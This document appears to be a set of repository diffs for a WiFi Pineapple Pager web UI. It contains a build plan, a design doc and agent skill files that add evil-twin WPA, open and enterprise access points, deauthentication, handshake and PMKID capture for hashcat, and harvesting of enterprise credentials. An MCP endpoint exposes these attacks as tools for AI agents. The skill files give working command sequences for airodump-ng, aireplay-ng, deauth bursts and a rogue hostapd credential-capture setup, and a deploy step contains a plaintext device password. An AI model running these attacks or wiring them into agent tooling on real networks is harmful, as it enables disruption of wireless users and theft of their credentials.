- `payload/user/remote_access/pager-webui/server.py` — all backend: attacks API, health monitor, truth reads, MCP endpoint.
- `payload/user/remote_access/pager-webui/www/js/views.js` — Attacks + Harness views.
- `payload/user/remote_access/pager-webui/www/js/app.js` — routes + side-menu items.
- `payload/user/remote_access/pager-webui/www/css/app.css` — small additions for launchers.
- `tests/test_attacks.py`, `tests/test_health.py`, `tests/test_mcp.py`, `tests/test_getap.py` — new tests.
- `scripts/harness_stdio.py` — optional stdio MCP wrapper for stdio-only agents.
---
### Task 1: Backend truth reads — `get_ap` dual-radio + enterprise + mode derivation
**Files:**
- Modify: `payload/user/remote_access/pager-webui/server.py` (h_pineap_wifi_get_ap, h_pineap_mode_get)
**Interfaces:**
- Produces: `GET /api/pineap/wifi/get_ap``{open: {...radio0...}, wpa: {...radio0...}, radio1_open: {...}, radio1_wpa: {...}, enterprise: {enabled, ssid, enctype, key}, pool: {...}, radios: {radio0: {band,channel,...}, radio1: {...}}}`
- Produces: `GET /api/pineap/mode` → mode derived from live state; never `"unknown"` when `pineap_disabled`/`autossidpool` readable.
- [ ] **Step 1:** Rework `h_pineap_wifi_get_ap` to read all three AP pairs from UCI (wlan0open/wlan0wpa on radio0, wlan1open/wlan1wpa on radio1, wlan0ent enterprise) and return them as separate objects; include radio device info per radio.
- [ ] **Step 2:** Rework `h_pineap_mode_get`: derive mode = `advanced` if `autossidpool is False` or engine mismatch with preset; `passive`/`active` from stored preset ONLY when consistent with live `enabled`+`collect`+`advertise`; else `advanced` (never `unknown`).
- [ ] **Step 3:** Update `tests/test_pineap_modes.py` + new `tests/test_getap.py` for the new shapes; run all test modules; commit.
### Task 2: Attack orchestration backend
**Files:**
- Modify: `payload/user/remote_access/pager-webui/server.py` (new handlers + ROUTER.add)
- Test: `tests/test_attacks.py`
**Interfaces:**
- `POST /api/attacks/deploy` body `{kind: 'wpa'|'open'|'enterprise', ...fields}` → applies UCI + daemon, returns `{ok, verified: bool, detail}`
- `POST /api/attacks/stop` body `{kind}` → disables AP(s), resumes hop, returns `{ok, verified}`
- `GET /api/attacks/status` → per-kind `{active, ssid, iface, channel, band, live (iw dev check), handshakes: n}`
- `GET /api/attacks/handshakes` (reuse `h_handshakes_get`), `GET /api/attacks/hc22000` → runs `hcxpcapngtool -o` on captured pcap(s) into `/root/loot/hc22000/` and returns download
- `POST /api/attacks/deauth` `{bssid, client, band}` → band-aware inject: 2.4 → `_pineap INTERFACE INJECT wlan0mon` then `PINEAPPLE_DEAUTH_CLIENT`; 5/6 → `wlan1mon`
- `POST /api/attacks/enterprise` toggles PineAPE (`pineape_disabled`, `pineape_auth_pass`)
- [ ] **Step 1:** Write failing tests for deploy/stop/status/deauth (mock `device_run`, `daemon_sock_call`, `hak5`).
- [ ] **Step 2:** Implement handlers; verify tests pass; commit.
### Task 3: Health monitor + stabilization
**Files:**
- Modify: `payload/user/remote_access/pager-webui/server.py` (thread + helpers)
- Test: `tests/test_health.py`
**Interfaces:**
- `health_check()``_pineap PING`; on failure twice in a row: count SIGSEGV in `logread`; if growing → `uci set pineapd.@ssidpool[0].disable=1`, restart pineapd; bring `wlan1mon` up (`ip link set wlan1mon up`) if `iw dev` shows it down; only one fix action per interval (cooldown 20s).
- `start_health_monitor()` — daemon thread every 15s, started on server boot.
- `GET /api/health``{pineap: 'up'|'down', sigsegv_count, pool_disabled, wlan1mon_up, last_action, fixes: n}`
- [ ] **Step 1:** Failing tests for health logic (mock `device_run`, `hak5`).
- [ ] **Step 2:** Implement; verify on-device that SIGSEGV count stops climbing; commit.
### Task 4: Attacks UI
**Files:**
- Modify: `www/js/views.js` (3 launchers + shared shell), `www/js/app.js` (routes + menu), `www/css/app.css`
**Interfaces:**
- Menu: `Attacks` (icon `attack`) → `#/attacks` with tabs `#/attacks/wpa`, `#/attacks/open`, `#/attacks/enterprise`.
- Each launcher: fields + Deploy/Stop + status card (live from `/api/attacks/status`) + handshake/cred table + export buttons + deauth table of target clients.
- [ ] **Step 1:** Implement shared launcher shell + Evil WPA page (deploy/stop/status/export/deauth).
- [ ] **Step 2:** Evil Open page; Evil Enterprise page (creds table + clear + toggles).
- [ ] **Step 3:** Wire routes + menu; manual browser smoke test against device; commit.
### Task 5: MCP harness server + Harness UI
**Files:**
- Modify: `payload/user/remote_access/pager-webui/server.py` (`/mcp` endpoint)
- Create: `scripts/harness_stdio.py`
- Modify: `www/js/views.js`, `www/js/app.js` (Harness page)
**Interfaces:**
- `POST /mcp` — Streamable HTTP MCP: `initialize`, `notifications/initialized` (202), `tools/list`, `tools/call`, `resources/list`, `resources/read`, `prompts/list`, `prompts/get`; JSON responses; session cookie auth + Origin validation.
- Tools wrap Task 1/2 endpoints + `recon.query` (sqlite3 CLI read-only) + `loot.*`.
- Resources: recon tables, handshake files, skill markdown (bundled copies of pineapple-control/wifi-deauth/aircrack-suite), loot listing.
- Prompts: `evil-wpa-playbook`, `evil-enterprise-playbook`, `recon-playbook`.
- `GET /api/harness/capabilities` → human-readable capability doc for the UI page.
- [ ] **Step 1:** Failing tests for MCP JSON-RPC dispatch (`tests/test_mcp.py`).
- [ ] **Step 2:** Implement `/mcp` + capabilities endpoint; tests pass; commit.
- [ ] **Step 3:** Harness UI page (endpoint info, config snippets, capability explorer, pi.dev prompt generator); commit.
### Task 6: Deploy + on-device verification
- [ ] **Step 1:** Run full test suite locally (each module separately).
- [ ] **Step 2:** Deploy via `./scripts/deploy.sh --password 'Bryce9205'`.
- [ ] **Step 3:** On-device smoke: login, status, health endpoint, attacks deploy/stop round-trip (Evil WPA on 2.4GHz with `Zuccaro_iPhone_15` SSID — no deauth), enterprise deploy/stop, MCP `initialize`+`tools/list` via curl.
- [ ] **Step 4:** Leave device in clean state (no active attacks, hop resumed, pool disabled, wlan1mon up).
@@ -0,0 +1,102 @@
# Mark VIII Night Sprint — Attacks, Sync, Harness
Date: 2026-08-18
Status: Approved (user: "Approved, go build")
## Problem
The Mark VIII web UI (Pager firmware `Pineapple Pager 24.10.1`) is rough and
desyncs from the device. Interrogation (2026-08-18, live device `172.16.52.1`)
found:
1. **pineapd crash-loop**: 34+ `SIGSEGV`s in logread; stock daemon restarts
pineapd every ~30s. Root cause: SSID-pool broadcast (68 SSIDs, `disable='0'`)
segfaults pineapd; `wlan1mon` repeatedly fails to come up
("That device is not up" / "interface sysfs directory does not exist" every 5s).
2. **State desync**: `GET /api/pineap/mode` returns `mode: "unknown"` while the
device is effectively Active; mode is a UI-stored preference, never derived
from live state.
3. **Wrong-band AP cards**: `get_ap` reads radio1 (`wlan1wpa`/`wlan1open`)
whenever those UCI sections exist (even disabled leftovers), so the 2.4GHz
Evil WPA card silently shows 5GHz state.
4. **Evil Enterprise is dead code**: `views.pineap_enterprise` exists but has no
route in `app.js` routes map and no tab.
5. **Fire-and-forget writes**: UI toasts success without verifying device state.
6. **Hop hygiene**: radio1-AP feature pauses `wlan1mon` hop and leaves it paused
with leftover AP sections.
## Research findings (verified on device)
- Enterprise AP recipe: create `wireless.wlan0ent` (device `radio0`, mode `ap`,
encryption `wpa2`, key = passphrase), then
`PUT /api/settings/wifi/set_ap` over unix socket `/tmp/api.sock` with
`{"configs":[{"interface":"wlan0ent","ssid":...,"enctype":"wpa2",
"enabled":true,"key":...,"channel":1}]}`. Result: `wlan0ent` AP live with
`ieee8021x=1`, `wpa=2`, `wpa_key_mgmt=WPA-EAP` (PineAPE internal EAP server).
Daemon-side hostapd reload is async (poll for iface in `iw dev`).
- `hcxpcapngtool`, `tcpdump`, `sqlite3`, `aircrack-ng` present on device.
- MCP Streamable HTTP transport (2025-06-18): single endpoint, POST JSON-RPC,
respond `application/json` or SSE; Origin validation + auth required.
- Daemon unix-socket API (`/tmp/api.sock`) carries `/api/pineap/*`; TCP :1471
carries `/api/settings/*` and `/api/login`.
## Design
### Phase 1 — Attacks (top-level menu item)
New side-menu section **Attacks** with three launchers:
- **Evil WPA (PSK)**: SSID, passphrase, enctype (psk2/sae/owe), band+channel
(2.4 → `wlan0wpa`, 5/6 → `wlan1wpa` via radio1 feature), hidden. Deploy =
UCI write + hop pause + `wifi reload` + PineAP response engine + karma on +
handshake logging on. Stop = disable AP + hop resume. Live AP status from
`iw dev`/UCI (never UI cache), live handshake table (`hostap_handshake`),
**Export .hc22000** (on-device `hcxpcapngtool`) + hashcat command, per-client
deauth with band-aware inject interface.
- **Evil Open**: same shape for `wlan0open` / radio1 open AP.
- **Evil Enterprise**: SSID, encryption (wpa2/wpa3 enterprise), passphrase.
Deploy = verified recipe above + PineAPE on + auth-pass capture on. Live cred
tables (`hostap_basic`, `hostap_chalresp`) with Clear.
All three: verification banner ("applied & verified" vs "device state differs"),
Stop button, and a post-write poll (UCI + `iw dev`) before success toast.
### Phase 2 — Stabilize + sync
- SSID pool broadcast disabled on deploy of this build; server-side health
monitor: `_pineap PING` every 15s; two failures → check SIGSEGV growth in
logread → disable pool, restart pineapd, `ip link set wlan1mon up`.
- Mode derived from live `enabled` + `collect` + `advertise`; never "unknown"
when state is readable.
- `get_ap` returns `radio0` + `radio1` + `enterprise` APs as separate objects.
- All writes verified by re-read; success only on match.
- Hop resumed when no radio1 AP active; leftover radio1 sections reported.
### Phase 3 — Local Harness (MCP)
- `POST /mcp` on server.py: Streamable HTTP MCP server (JSON-RPC 2.0, pure
socket, no deps), auth via session cookie/Bearer + Origin validation.
- Tools: `recon.query`, `attack.deploy_evil_wpa` / `deploy_evil_open` /
`deploy_evil_enterprise` / `stop_attack`, `attack.deauth`,
`attack.capture`, `loot.handshakes`, `loot.export_hc22000`,
`loot.enterprise_creds`, `device.state`, `pineap.set_filter`,
`pineap.kick_client`.
- Resources: recon DB tables (ssid, wifi_device, handshake, hostap_handshake,
hostap_basic, hostap_chalresp), handshake files, loot listing, and the
opencode skills (pineapple-control, wifi-deauth, aircrack-suite) as
markdown resources.
- Prompts: attack playbooks (evil-wpa, evil-enterprise, recon).
- **Harness UI page**: endpoint + client config snippets (opencode/Claude/
Cursor), capability explorer, "prompt for pi.dev" generator, live state
snapshot.
- Optional stdio wrapper `scripts/harness_stdio.py` for stdio-only agents.
## Constraints
- Authorized target: `Zuccaro_iPhone_15` only (intermittent). Non-client
environment; no deauth blasts; verify on-wire via monitor capture when needed.
- SSID pool stays disabled (stock bug; re-enabling re-crashes pineapd).
## Out of scope
`1471` takeover, Cloud C2, campaigns, physical display mirroring.
@@ -8,7 +8,7 @@
"title": "Mark VIII", "title": "Mark VIII",
"author": "c4ch3c4d3", "author": "c4ch3c4d3",
"description": "Mark VII-style web management UI for the WiFi Pineapple Pager", "description": "Mark VII-style web management UI for the WiFi Pineapple Pager",
"version": "1.0", "version": "1.1",
"category": "remote_access", "category": "remote_access",
"tags": ["remote-access", "web-interface", "device-management", "pineap"], "tags": ["remote-access", "web-interface", "device-management", "pineap"],
"firmware": "Pineapple Pager 24.10.1" "firmware": "Pineapple Pager 24.10.1"
@@ -2,7 +2,7 @@
# Title: Mark VIII # Title: Mark VIII
# Description: Mark VII-style web management UI for the WiFi Pineapple Pager # Description: Mark VII-style web management UI for the WiFi Pineapple Pager
# Author: c4ch3c4d3 # Author: c4ch3c4d3
# Version: 1.0 # Version: 1.1
# Category: Remote-Access # Category: Remote-Access
# Tags: remote-access, web-interface, device-management, pineap # Tags: remote-access, web-interface, device-management, pineap
# Firmware: Pineapple Pager 24.10.1 # Firmware: Pineapple Pager 24.10.1
@@ -28,7 +28,7 @@ get_pager_ip() {
} }
LOG "cyan" "+---------------------------+" LOG "cyan" "+---------------------------+"
LOG "cyan" "| Mark VIII v1.0 |" LOG "cyan" "| Mark VIII v1.1 |"
LOG "cyan" "+---------------------------+" LOG "cyan" "+---------------------------+"
if ! command -v python3 >/dev/null 2>&1; then if ! command -v python3 >/dev/null 2>&1; then
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,54 @@
---
name: aircrack-suite
description: Use when running the aircrack-ng suite on the WiFi Pineapple (Pager/FENRIS) — airodump-ng target capture, aireplay-ng deauth, PMKID (hashcat -m 22002) or four-way handshake (hashcat -m 22000) hunting, on-device hcxpcapngtool extraction, or installing/reinstalling aircrack-ng and hcxtools after a factory reset. Pairs with pineapple-control (device access) and wifi-deauth (attack methodology).
---
# Aircrack Suite on the Pineapple (airodump / aireplay / PMKID)
The Pineapple runs aircrack-ng tools directly on its monitor interfaces. Verified on Pager/FENRIS: `aircrack-ng 1.7-r1` (airodump-ng, aireplay-ng, aircrack-ng) and `hcxtools 6.3.2-r1` (hcxpcapngtool). Read **pineapple-control** for device access, radio layout, and the command surface; read **wifi-deauth** for the attack methodology, authorization gate, and failure modes.
## Installation (factory-reset recovery)
```sh
opkg update
opkg install aircrack-ng hcxtools
```
- `airmon-ng` is NOT shipped with the OpenWrt package — monitor mode is handled by the existing `wlan0mon`/`wlan1mon` interfaces (or `iw`), not airmon-ng.
- `hcxdumptool` is NOT in the opkg repo — capture PMKID with airodump-ng + hcxpcapngtool extraction instead.
- Workstation tooling for cracking (macOS): `brew install hcxtools hashcat`; `aircrack-ng` optional via `brew install aircrack-ng`.
## Target capture
Monitor interfaces must be UP, and the channel must match the phy (pinned by the AP interface: ch1 = `wlan0mon` 2.4 GHz, ch36 = `wlan1mon` 5 GHz). **airodump-ng 1.7 does NOT accept `--write-format`** — use `-w <prefix>` (writes `.cap`, `.csv`, `.kismet.*`):
```sh
ip link set wlan1mon up
setsid airodump-ng wlan1mon -c 36 --bssid 9A:18:98:FE:C1:09 -w /root/loot/pcap/svc5g >/tmp/ad.log 2>&1 </dev/null &
```
- `setsid ... </dev/null &` detaches so the capture survives SSH disconnect; it runs until killed (no time cap).
- One airodump per band: `wlan0mon -c 1` for 2.4 GHz targets. Run both for dual-band coverage.
- Stop: `killall airodump-ng`. Files roll to `-02.cap`, `-03.cap`, etc.
- Pull the `.cap` with scp for local analysis, or use on-device `hcxpcapngtool`.
## PMKID hunt (hashcat -m 22002)
A PMKID appears in a client's (re)association request when it holds a cached PMK — i.e., PMKSA fast-reauth clients. Requirement: a client must (re)associate; **no client in range means nothing to capture**.
- Elicit with ONE light deauth: `PINEAPPLE_DEAUTH_CLIENT <AP_MAC> <CLIENT_MAC> <ch>` (tested) or `aireplay-ng -0 1 -a <AP_MAC> [-c <CLIENT_MAC>] wlan1mon`. Heavy deauth suppresses PMKID — the AP resets PMKID and hcxpcapngtool warns "too many deauthentication/disassociation frames".
- Extract on-device or locally:
```sh
hcxpcapngtool svc5g-01.cap 2>&1 | grep -i pmkid # does a PMKID exist?
hcxpcapngtool -o out.22002 svc5g-01.cap # write hashcat file
hashcat -m 22002 out.22002 -a 0 <wordlist>
```
- A brand-new client's first association also yields a full 4-way: `hcxpcapngtool -o out.22000 <cap>` then `hashcat -m 22000 out.22000 -a 0 <wordlist>`.
## Pitfalls
- **Verify the auth type before assuming PSK.** airodump's AUTH column can misleadingly show `MGT` (802.1X) when a hidden Enterprise BSSID shares the same AP. Decode the RSN instead: `tshark -r cap -Y "wlan.fc.subtype==8" -T fields -e wlan.sa -e wlan.rsn.akms.type` (1 = PSK, 2 = 802.1X, 6 = FT-802.1X). PMKID/`-m 22000` only apply to PSK.
- **Channel:** `-c` must equal the phy's held channel, or airodump sees nothing.
- **Interface state:** if airodump errors "That device is not up", run `ip link set wlan*mon up` first.
- **Flags:** "unrecognized option" on 1.7 — you passed an unsupported flag (e.g. `--write-format`).
- Running airodump alongside pineapd recon is fine; the phy stays pinned by the AP interface, so recon hopping cannot move it.
@@ -0,0 +1,145 @@
---
name: pineapple-control
description: Use when operating a WiFi Pineapple (Pager / FENRIS / PineAP firmware) over SSH — accessing the device, understanding its radios/processes, controlling it via PINEAPPLE_* / _pineap / hostapd_cli, fixing pineapd crashes (SSID-pool SIGSEGV), or persistently configuring APs and evil twins via /etc/config/wireless. Pair with the wifi-deauth skill for deauth/handshake attack work.
---
# Pineapple Control (Pager / FENRIS)
Field-verified operating guide for the WiFi Pineapple Pager (FENRIS firmware, kernel 6.6, OpenWrt, BusyBox). Read this before touching the device; the wifi-deauth skill covers the attack methodology.
## Hardware / radios
| Radio | Hardware | Interfaces | Notes |
|---|---|---|---|
| phy0 | internal `mt76_wmac` (2.4 GHz) | `wlan0wpa` (AP), `wlan0open` (AP), `wlan0mon` (monitor), `wlan0` (managed uplink) | `wlan0mon` DOES see the Pineapple's own TX |
| phy1 | USB `mt7921u` (5 GHz) | `wlan1wpa` (AP), `wlan1mon` (monitor) | `wlan1mon` does NOT see own TX (beacon offload) — see Captures |
Naming: `wlan0*` = 2.4 GHz, `wlan1*` = 5 GHz. A phy's channel is held by its AP interface (`iw dev`); the monitor on that phy is pinned to it. The UI "Evil WPA AP" feature is hardwired to `wlan0wpa` (2.4 GHz); a 5 GHz evil twin must be made via `/etc/config/wireless`.
**The uplink pins phy0 (field-verified 2026-08-19):** while the device's own
client uplink (`wlan0` STA) is associated, it holds phy0 on the association
channel (here ch1). `wlan0mon` therefore CANNOT hop off ch1, and 2.4 GHz
APs on other channels are invisible to recon — even when `hop=1` is set.
Also, pineapd's per-interface hop is a no-op unless `hopspeed` is set on
that interface (`pineapd.wlan0mon.hopspeed='fast'`). Workarounds: run the
2.4 GHz evil twin on the phy's pinned channel (clients rescan all channels
on reconnect and will find it), or accept ch1-only 2.4 GHz recon while the
uplink is up.
## pineapd crash stack (Pager 24.10.1 — all five verified)
1. **SSID-pool broadcast** — segfaults pineapd (~15 s cadence, `ra=004e1237`). Keep `pineapd.@ssidpool[0].disable=1`.
2. **wlan2mon** — a 6 GHz monitor this hardware never creates; hopping it segfaults pineapd. Keep `pineapd.wlan2mon.disable=1` + `hop=0`.
3. **wlan1mon 6 GHz fast-hop** — stalls the command socket; the stock daemon's watchdog then SIGTERMs pineapd every ~30 s ("[PineAp] Error writing"). Keep `pineapd.wlan1mon.bands=5`.
4. **Refilled pool list** — collect (`autossidpool`) refills the pool; a large list crashes even with broadcast off. Clear `pineapd.@ssidpool[0].ssid` when pineapd fails.
5. **Active socket polling** — pinging pineapd from a health loop collides with the stock daemon's writes. Health checks must be passive (`pidof`).
The Mark VIII health monitor enforces all five automatically; `/api/health` reports state. An evil twin / enterprise deploy pauses `wlan1mon` hop and resumes it on stop.
## Standalone PineAPE enterprise engine (field-verified)
The stock daemon's enterprise AP config generation is BROKEN on this build
(it hardcodes `eap_server_erp=1`, which hostapd rejects with "Invalid IEEE
802.1X configuration (no EAP authenticator configured)"). Working engine,
run entirely by Mark VIII on phy1 outside the daemon's interface set:
```sh
iw phy phy1 interface add wlan1ent type managed
iw dev wlan1ent set type ap && ip link set wlan1ent up
# hostapd config: interface=wlan1ent, ieee8021x=1, eap_server=1,
# eap_user_file=/root/loot/eap_users ("*" MSCHAPV2 "dummy"),
# wpa_key_mgmt=WPA-EAP, ctrl_interface=/var/run/hostapd-mk8
/usr/sbin/hostapd -B -P /var/run/hostapd-mk8.pid /root/loot/enterprise.conf
# enable karma + PineAPE + auth capture on the INSTANCE's ctrl socket:
hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineap_enable
hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineape_enable
hostapd_cli -p /var/run/hostapd-mk8 -i wlan1ent pineape_auth_enable
```
Captured credentials flow to pineapd's socket and land in
`hostap_basic`/`hostap_chalresp` in recon.db. Tear down: kill the pidfile
pid, `iw dev wlan1ent del`, resume hop.
## Access
```sh
sshpass -p '<pw>' ssh -o StrictHostKeyChecking=no root@<ip> # lab unit: 172.16.52.1
```
- Transient `Permission denied` after bursts of sessions = SSH rate limiting — pause ~10 s and retry.
- Keep sessions short; run each logical step in its own command. One combined session for multi-step attacks (see wifi-deauth).
- BusyBox: `pkill`, `nohup`, `sshpass` are MISSING. Use `killall`/`kill $(pidof ...)`, `setsid`, and local sshpass. `od`/`hexdump`/`cat -n` absent — use `strings`/`grep`/`head -c`.
## What runs on the box
| Process | Managed by | Purpose | Socket |
|---|---|---|---|
| `/pineapple/pineapple` (ELF UI backend) | procd (`/etc/init.d/pineapplepager`) | Web UI; supervises/reconverges hostapd | — |
| `/usr/sbin/pineapd` | procd (auto-restarts on crash) | recon, deauth, SSID pool, handshake logging | `/tmp/pineap_sock` |
| `/usr/sbin/hostapd` (single global instance) | standalone (PPID 1) | all AP interfaces | `/var/run/hostapd/global`, per-iface under `/var/run/hostapd/` |
| `wpa_supplicant` | procd | device's own client uplink (`wlan0`) | — |
## Command surface
- `PINEAPPLE_*` (e.g. `PINEAPPLE_DEAUTH_CLIENT`) = symlinks to `hak5cmd`, which talks to pineapd over `/tmp/pineap_sock`. Do NOT `curl 127.0.0.1/api/...` — the HTTP API is not on :80.
- `_pineap` = pineapd control CLI (`PING`, `RECON APS|DEVICES|ISEARCH format=json`, `INTERFACE LIST/SET`, `SSIDPOOL ...`, `DEAUTH`, `EXAMINE`, `PCAP START/STOP`). Direct use can desync the UI — prefer `PINEAPPLE_*` where one exists.
- `hostapd_cli -i <iface> status|get_config|disable|enable` (per-iface) and `-p /var/run/hostapd -i global` (global). This is a Karma-patched build.
- `iw`, `sqlite3`, `tcpdump` (full build: `-G`/`-W` rotate supported), `logread`, `dmesg`.
## Config & persistence (the hard-won rules)
- `/etc/config/wireless` is the SOURCE OF TRUTH for APs (`config wifi-iface` sections). `wifi reload` (or `wifi up radioN`) applies it.
- Editing `/var/run/hostapd-phy*.conf` is TRANSIENT. `hostapd_cli ... reload_config`/`reload` do NOT re-read the file. `hostapd_cli raw ADD/REMOVE` misfires (treats the config path as the ctrl dir). Killing hostapd triggers the UI backend to restart it (`-g /var/run/hostapd/global`, no configs) and the ubus path reconverges from `/etc/config/wireless` — reverting your change.
- **To change an AP persistently:** back up first, edit `/etc/config/wireless`, then `wifi reload`. Example — convert a 5 GHz AP to a WPA2-PSK evil twin:
```sh
cp /etc/config/wireless /etc/config/wireless.bak
# wifi-iface section: ssid 'TargetSSID', encryption 'psk2', key '<passphrase>'
wifi reload
hostapd_cli -i wlan1wpa get_config # verify ssid + key_mgmt=WPA-PSK
```
## pineapd health & the crash-loop
- Symptom: `PINEAPPLE_*` / deauth returns `could not connect to pineap: dial unix /tmp/pineap_sock: connect: connection refused`, and `logread` shows `do_page_fault(): sending SIGSEGV to pineapd for invalid read access from 00000004`.
- Cause observed: the **SSID-pool broadcast** (68 SSIDs loaded from `/etc/config/pineapd`) segfaults pineapd on a ~15 s-to-minutes cadence; procd respawns it.
- Fix: `_pineap SSIDPOOL DISABLE && /etc/init.d/pineapd restart`, verify with `_pineap PING` (PONG) and that the SIGSEGV count in `logread` stops climbing. The SSID pool is separate from hostapd evil twins — disabling it does not affect them.
- `PING` to `/tmp/pineap_sock` failing while the socket file exists = stale socket (pineapd down/restarting).
## Recon DB
`pineapd` runs `--recon --reconpath /root/recon/ --handshakepath /root/loot/handshakes`. pineapd holds the DB — always read via the read-only URI with a timeout:
```sh
timeout 30 sqlite3 -header -column "file:/root/recon/recon.db?mode=ro" \
"SELECT bssid, CAST(ssid AS TEXT), channel, freq, signal, datetime(time,'unixepoch') FROM ssid ORDER BY time DESC LIMIT 40"
```
Tables: `ssid` (ssid is BLOB — `CAST(ssid AS TEXT)`; has bssid/channel/freq/signal/encryption/hidden), `wifi_device` (mac/freq/signal/packets), `scan`, `handshake` (beacon/hs1..hs4 — captures for any nearby AP), `hostap_handshake` (mic/nonce/eapol — captures for the Pineapple's OWN evil-twin APs), plus `hostap_basic`/`hostap_chalresp` (PineAPE enterprise creds) and `hostap_client`. `RECON CLIENTS` does not exist — use `RECON DEVICES`.
## Captures
- Raw monitor capture (802.11+radiotap; EAPOL is cleartext on the wire):
```sh
tcpdump -i wlan1mon -s 3000 -w /root/loot/pcap/mon_$(date +%s).cap
```
- **Own-TX visibility differs by radio.** On phy0 (2.4 GHz) `wlan0mon` captures the Pineapple's own beacons/EAPOL; on phy1 (5 GHz) `wlan1mon` does NOT see the Pineapple's own TX. A 5 GHz evil twin's M1/M3 will be invisible to the monitor — rely on `hostap_handshake`/`/root/loot/handshakes` for own-AP 4-ways. Client uplink frames (M2/M4, assoc) ARE visible on both.
- PineAP's `PCAP START` export is management/control frames only — never rely on it for handshakes.
- Standing capture that survives SSH disconnect (detaches via `setsid`, rotates 5 min, keeps 48 files ≈ 4 h; `/mmc` had ~3.3 GB free):
```sh
setsid tcpdump -i wlan1mon -s 3000 -G 300 -W 48 -w '/root/loot/pcap/nc_%Y%m%d_%H%M%S.cap' >/dev/null 2>&1 </dev/null &
```
- Stop captures: `killall tcpdump` (`pkill` missing).
- Pull evidence locally with `scp`; analyze with `tshark`/`capinfos`/`hcxpcapngtool` (brew `wireshark`, `hcxtools`).
## Verification & troubleshooting
- AP up but silent? `iw dev <iface> info` for ssid/type/channel; `hostapd_cli -i <iface> status` (state=ENABLED) and `get_config`. Static `tx_packets` on the netdev does NOT mean not-beaconing — beacons are driver-offloaded; check `dmesg` for driver errors instead.
- Deauth channel targeting: `PINEAPPLE_DEAUTH_CLIENT` injects via the phy of the configured inject interface (here `wlan1mon`, 5 GHz) regardless of the channel argument — a "ch1" deauth goes out on 5 GHz. To reach 2.4 GHz clients the inject interface must be phy0. Verify on the wire with a monitor capture (SA=spoofed BSSID).
- `hostapd_cli -p /var/run/hostapd -i global interface` lists managed interfaces.
## Teardown & hygiene
- Stop captures: `killall tcpdump`; kill only the standing capture's PID if you must keep others.
- Leave `/root/loot/**` pcap artifacts as evidence; scp them off before leaving.
- If you disabled the SSID pool to fix a crash, tell the user it stays disabled (re-enabling re-crashes pineapd).
- Report persistent config changes you made (e.g. an AP converted in `/etc/config/wireless`) so the user knows their device differs from the UI default.
@@ -0,0 +1,138 @@
---
name: wifi-deauth
description: Use for Wi-Fi deauth attacks and WPA2 handshake capture with the WiFi Pineapple — target discovery from the recon DB, PINEAPPLE_DEAUTH_CLIENT technique, channel-pinning pitfalls, raw monitor capture for EAPOL, PMKSA/steering failure modes, evil-twin luring, and hashcat handoff. Written authorization required. Device access, process control, and persistence live in the pineapple-control skill.
---
# Wi-Fi Deauth & Handshake Capture (WiFi Pineapple Pager)
Field-tested attack methodology: deauth clients on a target SSID and capture a WPA2-PSK four-way handshake for hashcat, using the Pineapple Pager (FENRIS/PineAP firmware).
**STOP first: confirm the user has written authorization for the target networks. Deauth is disruptive; proceed only with confirmed scope, and deauth ONLY the identified target BSSIDs (never "all APs in range").**
Device access, the `PINEAPPLE_*`/`_pineap`/`hostapd_cli` command surface, pineapd crash fixes, standing captures, and `/etc/config/wireless` persistence are in **pineapple-control** — read it first, then return here.
## 1. Discover target APs (passive recon first)
Query the recon DB read-only with a timeout (pineapd holds the DB; a blocking read can hang it):
```sh
timeout 30 sqlite3 -header -column "file:/root/recon/recon.db?mode=ro" \
"SELECT bssid, CAST(ssid AS TEXT), channel, freq, signal, datetime(time,'unixepoch') FROM ssid ORDER BY time DESC LIMIT 40"
```
- `ssid` stores SSID as BLOB — `CAST(ssid AS TEXT)` decodes it.
- Live JSON: `_pineap RECON APS limit=30 format=json`, `_pineap RECON DEVICES limit=50 format=json`, `_pineap RECON ISEARCH <ssid>` (case-insensitive).
- Beware two result traps: (a) one physical AP appears under several BSSID variants (first-octet differs per SSID/band, e.g. `92:18:88:` vs `92:18:98:` with the same suffix) — deauth ALL variants of the target SSID; (b) SSID spellings can differ per radio — enumerate both. Confirm current presence with `ISEARCH`; BSSIDs seen only as probe sources (not beaconing) are out of scope.
- Identify active clients in `wifi_device` (high packet count, non-AP MAC) and their band (`freq` 2412 = 2.4, 5180 = 5).
- Check whether the Pineapple already karma-clones the target SSID: `iw dev` shows the evil-twin ifaces and their BSSIDs; a clone BSSID can collide with a real one.
## 2. Deauth (the working method)
`PINEAPPLE_DEAUTH_CLIENT` = `hak5cmd` → pineapd socket `/tmp/pineap_sock`:
```sh
PINEAPPLE_DEAUTH_CLIENT <AP_MAC> <CLIENT_MAC> <channel> # single client
PINEAPPLE_DEAUTH_CLIENT <AP_MAC> FF:FF:FF:FF:FF:FF <channel> # all clients on AP
```
- MACs with colons work. Channel should be the AP's actual channel.
- Verified rhythm: a burst of ~50 frames per call; `sleep 1-2` between calls; 5-8 calls per AP. Do not keep blasting on failure (see §6).
- **Injection phy gotcha:** deauth frames are injected via the phy of the configured inject interface (default `wlan1mon`, 5 GHz) REGARDLESS of the channel argument — a "channel 1" deauth still goes out on 5 GHz. To hit 2.4 GHz clients the inject interface must be on phy0 (`_pineap INTERFACE INJECT wlan0mon`).
- Verify on the wire afterward: injected frames appear as deauth/disassoc with SA=spoofed BSSID, DA=target/broadcast (see §5).
- `connection refused` on the socket = pineapd down (crash-loop) — fix per pineapple-control, then retry.
- Logs/loot dirs: `/root/loot/fenris/`, `/root/loot/pcap/`, `/root/loot/handshakes/`.
## 3. Channel pinning — what works and what crashes
| Method | Result |
|---|---|
| `PINEAPPLE_EXAMINE_BSSID <mac> <sec>` / `_pineap EXAMINE BSSID ...` | **CRASHES pineapd (device may reboot). Do not use.** |
| `_pineap RECON NEW name=x channel=N` | Returns rc=0 but does **not** pin the monitor radio — recon keeps hopping. |
| `iw dev <mon> set channel N` | Fails "Resource busy" when the phy is held by the AP interface (karma / evil twin). |
| `iw dev wlan1mon info` | Read-only, safe — shows the channel the AP interface holds (e.g. `channel 36 (5180 MHz)`). |
Monitors are effectively pinned to the channel their phy's AP interface holds (2.4 GHz → ch1, 5 GHz → ch36 on the lab unit). `_pineap INTERFACE LIST` may label an interface "hop" even when it is physically pinned — trust `iw dev`, not the label.
## 4. Handshake capture — where built-in capture fails and the workaround
**PineAP's `PCAP START` export is management/control frames ONLY** — zero data, zero EAPOL. Never rely on it for handshakes.
